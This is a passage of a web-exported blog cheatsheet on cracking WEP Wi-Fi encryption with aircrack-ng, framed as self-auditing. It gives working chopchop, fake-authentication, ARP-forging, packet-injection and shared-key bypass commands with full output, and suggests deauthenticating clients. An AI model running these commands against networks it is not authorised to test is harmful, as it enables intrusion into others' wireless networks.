\\L$G\n\nUse <span style=\"color: #0000ff\">this<\/span> packet ? <\/pre>\n<\/p><\/div>\n<p>Enter \u201cy\u201d and see if the data packets are now increasing. (switch to the airodump-ng output)<\/p>\n<p>In most cases, this attack works well. However, if you have not been able to successfully get a .xor file using this procedure, you can use the chopchop attack as well :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\n19:04:26  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\nRead 2938 packets...\n\n        Size: 352, FromDS: 1, ToDS: 0 (WEP)\n\n              BSSID  =  00:14:BF:89:9C:D3\n          Dest. MAC  =  01:00:5E:7F:FF:FA\n         Source MAC  =  00:14:BF:89:9C:D1\n\n        0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........\n        0x0010:  0014 bf89 9cd1 201a 2639 c800 8354 3936  ...... .&amp;9...T96\n        0x0020:  d88c 8958 fedb 0f68 330c 78f9 944f 7840  ...X...h3.x..Ox@\n        0x0030:  1871 95b8 2d56 8a21 0af2 8b1e 0953 4e67  .q..-V.!.....SNg\n        0x0040:  5c10 a065 99bb 907b 3a84 8cd0 d159 e4ce  \\..e...{:....Y..\n        0x0050:  83da 1e42 5630 b0e6 0171 0fcb 3ad7 57ab  ...BV0...q..:.W.\n        0x0060:  0e5f f49b ca99 b107 2d1d ab9c 039f ad7c  ._......-......|\n        0x0070:  0729 627c 838e f247 b581 771d 7e3f bc3c  .)b|...G..w.~?.&lt;\n        0x0080:  4068 d8b3 0300 0da4 90b1 a0b2 046c 6920  @h...........li\n        0x00a0:  11fc 073c bcb3 f8ed a240 08c2 d706 adf3  ...&lt;.....@......\n        0x00b0:  9ac9 3787 b4cb 8994 4a94 5969 b741 765d  ..7.....J.Yi.Av]\n        0x00c0:  4cd5 f2dd 14ac ccfe bca0 d769 aa37 cbc1  L..........i.7..\n        0x00d0:  9577 bad9 7a1d 2a60 4a80 54bc 418d df57  .w..z.*`J.T.A..W\n        --- CUT ---\n\nUse <span style=\"color: #0000ff\">this<\/span> packet ? y\n\nSaving chosen packet <span style=\"color: #0000ff\">in<\/span> replay_src-0219-190538.cap\n\nSent 241 packets, current guess: F0...\n\nFailure: got several deauthentication packets from the AP - <span style=\"color: #0000ff\">try<\/span> running\nanother aireplay-ng with attack <span style=\"color: #006080\">&quot;-1&quot;<\/span> (fake open-system authentication).<\/pre>\n<\/p><\/div>\n<p>if you get this message, try running a aireplay-ng \u2013fakeauth while running the chopchop attack.<\/p>\n<p>session 1 : start the fakeauth<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng --fakeauth 6000 -o 1 -a 00:14:BF:89:9C:D3 -e TestNet ath1\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n19:08:49  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\n\n19:08:49  Sending Authentication Request (Open System) [ACK]\n19:08:49  Authentication successful\n19:08:49  Sending Association Request [ACK]\n19:08:49  Association successful :-) (AID: 1)\n19:09:04  Sending keep-alive packet [ACK]\n19:09:04  Got a deauthentication packet! (Waiting 3 seconds)\n\n19:09:07  Sending Authentication Request (Open System) [ACK]\n19:09:07  Authentication successful\n19:09:07  Sending Association Request [ACK]\n19:09:07  Association successful :-) (AID: 1)\n19:09:22  Sending keep-alive packet [ACK]\n19:09:22  Got a deauthentication packet! (Waiting 3 seconds)\n\n19:09:25  Sending Authentication Request (Open System) [ACK]\n19:09:25  Authentication successful\n19:09:25  Sending Association Request [ACK]\n19:09:25  Association successful :-) (AID: 1)\n19:09:40  Sending keep-alive packet [ACK]\n19:09:40  Got a deauthentication packet! (Waiting 3 seconds)\n\n19:09:43  Sending Authentication Request (Open System) [ACK]\n19:09:43  Authentication successful\n19:09:43  Sending Association Request [ACK]\n19:09:43  Association successful :-) (AID: 1)\n19:09:45  Got a deauthentication packet! (Waiting 3 seconds)\n\n19:09:48  Sending Authentication Request (Open System) [ACK]\n19:09:48  Authentication successful\n19:09:48  Sending Association Request [ACK]\n19:09:48  Association successful :-) (AID: 1)\n19:10:03  Sending keep-alive packet [ACK]\n19:10:18  Sending keep-alive packet [ACK]\n19:10:33  Sending keep-alive packet [ACK]\n19:10:48  Sending keep-alive packet [ACK]\n19:11:03  Sending keep-alive packet [ACK]<\/pre>\n<\/p><\/div>\n<p>session 2 : run chopchop while fakeauth is running<\/p>\n<p>Enter \u201cy\u201d to select a packet. Wait until the process has reached 100% and you should have your .xor file. This process can take multiple minutes. Don\u2019t worry, as long as it keeps running, you\u2019re fine.<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\n19:08:55  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11\nRead 1841 packets...\n\n        Size: 352, FromDS: 1, ToDS: 0 (WEP)\n\n              BSSID  =  00:14:BF:89:9C:D3\n          Dest. MAC  =  01:00:5E:7F:FF:FA\n         Source MAC  =  00:14:BF:89:9C:D1\n\n        0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........\n        0x0010:  0014 bf89 9cd1 4003 3c39 c800 a4b4 4b96  ......@.&lt;9....K.\n        0x0020:  94d4 525e b994 7f52 f494 6cd9 2e85 9a96  ..R^..R..l.....\n        0x0030:  fd15 2a16 684e da3b 2296 c849 4660 2b06  ..*.hN.;&quot;..IF`+.\n        0x0050:  029d a52b f305 a77c bae0 8013 1887 5cd9  ...+...|......\\.\n        0x0060:  26ee ddec 5316 8065 bb06 14ec a7a6 005e  &amp;...S..e.......^\n        0x0070:  c6b5 2b42 e618 6ab1 475e 5bdd 73c9 ff74  ..+B..j.G^[.s..t\n        0x0080:  d312 6c5f 9c95 f185 6967 51ca 180d b844  ..l_....igQ....D\n        0x0090:  bb62 190a 4e53 3d1b e4cd bc51 37d8 feaf  .b..NS=....Q7...\n        0x00a0:  9579 02e3 fe9f 6c6a 9776 eff1 7c75 fb10  .y....lj.v..|u..\n        --- CUT ---\n\nUse <span style=\"color: #0000ff\">this<\/span> packet ? y\n\nSaving chosen packet <span style=\"color: #0000ff\">in<\/span> replay_src-0219-190940.cap\n\nOffset  351 ( 0% done) | xor = 4C | pt = 88 |  637 frames written <span style=\"color: #0000ff\">in<\/span> 12991ms\nOffset  350 ( 0% done) | xor = A0 | pt = F0 |   26 frames written <span style=\"color: #0000ff\">in<\/span>   530ms\nOffset  349 ( 0% done) | xor = 0D | pt = 6E |  123 frames written <span style=\"color: #0000ff\">in<\/span>  2502ms\nOffset  348 ( 0% done) | xor = D7 | pt = C3 |  174 frames written <span style=\"color: #0000ff\">in<\/span>  3555ms\nOffset  347 ( 1% done) | xor = C7 | pt = 0A |   36 frames written <span style=\"color: #0000ff\">in<\/span>   734ms\nOffset  346 ( 1% done) | xor = 92 | pt = 0D |  236 frames written <span style=\"color: #0000ff\">in<\/span>  4800ms\nOffset  345 ( 1% done) | xor = 1C | pt = 0A |  139 frames written <span style=\"color: #0000ff\">in<\/span>  2820ms\nOffset  344 ( 2% done) | xor = 62 | pt = 0D |   77 frames written <span style=\"color: #0000ff\">in<\/span>  1576ms\nOffset  343 ( 2% done) | xor = 18 | pt = 65 |  226 frames written <span style=\"color: #0000ff\">in<\/span>  4587ms\nOffset  342 ( 2% done) | xor = 18 | pt = 63 |  133 frames written <span style=\"color: #0000ff\">in<\/span>  2718ms\nOffset  341 ( 3% done) | xor = 22 | pt = 69 |  133 frames written <span style=\"color: #0000ff\">in<\/span>  2722ms\nOffset  340 ( 3% done) | xor = D4 | pt = 76 |  205 frames written <span style=\"color: #0000ff\">in<\/span>  4171ms\nOffset  339 ( 3% done) | xor = 31 | pt = 65 |   72 frames written <span style=\"color: #0000ff\">in<\/span>  1465ms\n\nOffset   59 (91% done) | xor = 25 | pt = 6C |  108 frames written <span style=\"color: #0000ff\">in<\/span>  2196ms\nOffset   58 (92% done) | xor = CF | pt = 07 |   46 frames written <span style=\"color: #0000ff\">in<\/span>   938ms\nOffset   57 (92% done) | xor = 5A | pt = CC |   20 frames written <span style=\"color: #0000ff\">in<\/span>   420ms\nOffset   56 (92% done) | xor = 2B | pt = 09 |  164 frames written <span style=\"color: #0000ff\">in<\/span>  3346ms\nOffset   55 (93% done) | xor = C1 | pt = FA |   10 frames written <span style=\"color: #0000ff\">in<\/span>   204ms\nOffset   54 (93% done) | xor = 25 | pt = FF |  257 frames written <span style=\"color: #0000ff\">in<\/span>  5224ms\nOffset   53 (93% done) | xor = B1 | pt = FF |  133 frames written <span style=\"color: #0000ff\">in<\/span>  2722ms\nOffset   52 (94% done) | xor = 87 | pt = EF |   61 frames written <span style=\"color: #0000ff\">in<\/span>  1245ms\nOffset   51 (94% done) | xor = 17 | pt = 01 |  175 frames written <span style=\"color: #0000ff\">in<\/span>  3563ms\nOffset   50 (94% done) | xor = 2C | pt = 06 |  205 frames written <span style=\"color: #0000ff\">in<\/span>  4171ms\nOffset   49 (94% done) | xor = BD | pt = A8 |  241 frames written <span style=\"color: #0000ff\">in<\/span>  4909ms\nOffset   48 (95% done) | xor = 3D | pt = C0 |  179 frames written <span style=\"color: #0000ff\">in<\/span>  3653ms\nOffset   47 (95% done) | xor = 87 | pt = 11 |   36 frames written <span style=\"color: #0000ff\">in<\/span>   735ms\nOffset   46 (95% done) | xor = 6C | pt = F6 |  180 frames written <span style=\"color: #0000ff\">in<\/span>  3657ms\nOffset   45 (96% done) | xor = 94 | pt = 11 |  199 frames written <span style=\"color: #0000ff\">in<\/span>  4073ms\nOffset   44 (96% done) | xor = 2F | pt = 01 |  236 frames written <span style=\"color: #0000ff\">in<\/span>  4812ms\nOffset   43 (96% done) | xor = D9 | pt = 00 |  103 frames written <span style=\"color: #0000ff\">in<\/span>  2085ms\nOffset   42 (97% done) | xor = 6C | pt = 00 |   87 frames written <span style=\"color: #0000ff\">in<\/span>  1783ms\nOffset   41 (97% done) | xor = 94 | pt = 00 |   98 frames written <span style=\"color: #0000ff\">in<\/span>  1975ms\nOffset   40 (97% done) | xor = F8 | pt = 0C |   20 frames written <span style=\"color: #0000ff\">in<\/span>   420ms\nOffset   39 (98% done) | xor = 6A | pt = 38 |  113 frames written <span style=\"color: #0000ff\">in<\/span>  2306ms\nOffset   38 (98% done) | xor = 7E | pt = 01 |  231 frames written <span style=\"color: #0000ff\">in<\/span>  4698ms\nOffset   37 (98% done) | xor = 94 | pt = 00 |  236 frames written <span style=\"color: #0000ff\">in<\/span>  4799ms\nOffset   36 (99% done) | xor = FC | pt = 45 |   20 frames written <span style=\"color: #0000ff\">in<\/span>   420ms\nOffset   35 (99% done) | xor = 5E | pt = 00 |  231 frames written <span style=\"color: #0000ff\">in<\/span>  4701ms\nOffset   34 (99% done) | xor = 5A | pt = 08 |  148 frames written <span style=\"color: #0000ff\">in<\/span>  3032ms\n\nSaving plaintext <span style=\"color: #0000ff\">in<\/span> replay_dec-0219-192452.cap\nSaving keystream <span style=\"color: #0000ff\">in<\/span> replay_dec-0219-192452.xor\n\nCompleted <span style=\"color: #0000ff\">in<\/span> 907s (0.35 bytes\/s)<\/pre>\n<\/p><\/div>\n<p>Follow the same steps that were used when we created a .xor file using the fragmentation attack&#160; :&#160; create an arp packet (packetforge-ng), inject the packet (aireplay-ng), capture the IVs and crack the key.<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3\n   -k 255.255.255.255 -l 255.255.255.255\n   -y replay_dec-0219-192452.xor -w \/tmp\/my-2nd-arp-request\nWrote packet to: \/tmp\/my-2nd-arp-request<\/pre>\n<\/p><\/div>\n<p>Inject :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:~# aireplay-ng -2 -r \/tmp\/my-2nd-arp-request ath1\nFor information, no action required: Using gettimeofday() instead of \/dev\/rtc\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n\n        Size: 68, FromDS: 0, ToDS: 1 (WEP)\n\n              BSSID  =  00:14:BF:89:9C:D3\n          Dest. MAC  =  FF:FF:FF:FF:FF:FF\n         Source MAC  =  00:1C:BF:90:5B:A3\n\n        0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.\n        0x0010:  ffff ffff ffff 8001 3c39 c800 a4b4 4b96  ........&lt;9....K.\n        0x0020:  94d4 5258 fc95 766a fe90 6cd8 2f88 d317  ..RX..vj..l.\/...\n        0x0040:  5994 1ab1                                Y...\n\nUse <span style=\"color: #0000ff\">this<\/span> packet ? y<\/pre>\n<\/p><\/div>\n<p>Verify that the number of #Data packets increases fast, wait a couple of minutes and start cracking<\/p>\n<p>&#160;<\/p>\n<h3>Scenario 3 : WEP encryption, Shared Key Authentication instead of OPEN<\/h3>\n<p>What if the AP does not use OPEN authentication, but uses Shared Key Authentication ?<\/p>\n<p>Well, aireplay-ng --fakeauth will not just work\u2026&#160; It will detect that Open System is cannot be used, and will then attempt to get the shared key. In fact, it needs to see a client successfully authenticate to the AP before it will be able to grab the SKA and use it.<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">20:15:01  Sending Authentication Request (Open System) [ACK]\n20:15:01  Switching to shared key authentication<\/pre>\n<\/p><\/div>\n<p>As long as a client has not associated, the AUTH column in airodump-ng will stay empty. When Shared Key is used, and after a client has connected, the column will state SKA. From that point forward, you can use the Shared Key to do fake auth.<\/p>\n<p>First, launch airodump-ng and write all data to disk&#160; (airodump-ng \u2013w \/tmp\/filesout ath1)<\/p>\n<p>When a client authenticates, airodump-ng will write a .xor file to disk, containing the PRGA xor bits. Of course, if it takes too long before a client authenticates, you can try to deauthenticate an existing client (if any)<\/p>\n<p>If the .xor file is saved on disk, you can attempt to do the fake auth by providing the .xor file :<\/p>\n<div>\n<pre style=\"padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none\">root@bt:\/tmp# aireplay-ng -1 0 -e TestNet -y \/tmp\/filesout.xor -a 00:19:5B:52:AD:F7 ath1\nNo source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)\n20:23:58  Waiting <span style=\"color: #0000ff\">for<\/span> beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10\n\n20:23:58  Sending Authentication Request (Shared Key) [ACK]\n20:23:58  Authentication 1\/2 successful\n20:23:58  Sending encrypted challenge. [ACK]\n20:23:58  Authentication 2\/2 successful\n20:23:58  Sending Association Request [ACK]\n20:23:58  Association successful :-) (AID: 1)<\/pre>\n<\/p><\/div>\n<p>Hooray \u2013 from this point forward, you can use the same techniques as explained in the first 2 scenario\u2019s<\/p>\n<p>&#160;<\/p>\n<p>Note : if the number of Packets stops increasing, just stop sending packets, do a re-associate (fake auth) and start sending packets again. In most cases, this will kick off the data packet increase again.<\/p>\n<\/p>\n<\/li>\n","protected":false},"excerpt":{"rendered":"<p>I know, there a probably already a zillion number of websites that show how to crack WEP. So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I\u2019m putting this info on this blog because I just wanted it as a quick reference- &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[64,164,127],"tags":[1512,1494,204],"class_list":["post-1554","post","type-post","status-publish","format-standard","hentry","category-linux","category-networking","category-security","tag-wireless","tag-aircrack","tag-backtrack"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"og:description\" content=\"I know, there a probably already a zillion number of websites that show how to crack WEP. So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I\u2019m putting this info on this blog because I just wanted it as a quick reference- &hellip; Continue reading &quot;Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng&quot;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/\" \/>\n<meta property=\"og:site_name\" content=\"Corelan | Exploit Development &amp; Vulnerability Research\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/corelanconsulting\" \/>\n<meta property=\"article:published_time\" content=\"2009-02-20T01:34:16+00:00\" \/>\n<meta name=\"author\" content=\"corelanc0d3r\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@corelanc0d3r\" \/>\n<meta name=\"twitter:site\" content=\"@corelanc0d3r\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"TechArticle\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/\"},\"author\":{\"name\":\"corelanc0d3r\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\"},\"headline\":\"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng\",\"datePublished\":\"2009-02-20T01:34:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/\"},\"wordCount\":2141,\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"keywords\":[\"wireless\",\"aircrack\",\"backtrack\"],\"articleSection\":[\"Linux and Unix\",\"Networking\",\"Security\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/\",\"name\":\"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability Research\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\"},\"datePublished\":\"2009-02-20T01:34:16+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/2009\\\/02\\\/20\\\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.corelan.be\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#website\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"name\":\"Corelan CyberSecurity Research\",\"description\":\"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.corelan.be\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#organization\",\"name\":\"Corelan CyberSecurity Research\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"contentUrl\":\"https:\\\/\\\/www.corelan.be\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/corelanlogo2_small-20.png\",\"width\":200,\"height\":200,\"caption\":\"Corelan CyberSecurity Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/","og_locale":"en_US","og_type":"article","og_title":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"I know, there a probably already a zillion number of websites that show how to crack WEP. So I guess this will be website zillion+1 learning how to audit your own WEP security. To be honest, the main reason I\u2019m putting this info on this blog because I just wanted it as a quick reference- &hellip; Continue reading \"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng\"","og_url":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2009-02-20T01:34:16+00:00","author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng","datePublished":"2009-02-20T01:34:16+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/"},"wordCount":2141,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"keywords":["wireless","aircrack","backtrack"],"articleSection":["Linux and Unix","Networking","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/","url":"https:\/\/www.corelan.be\/index.php\/2009\/02\/20\/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng\/","name":"Cheatsheet : Cracking WEP with Backtrack 4 and aircrack-ng - Corelan | Exploit Development &amp; Vulnerability 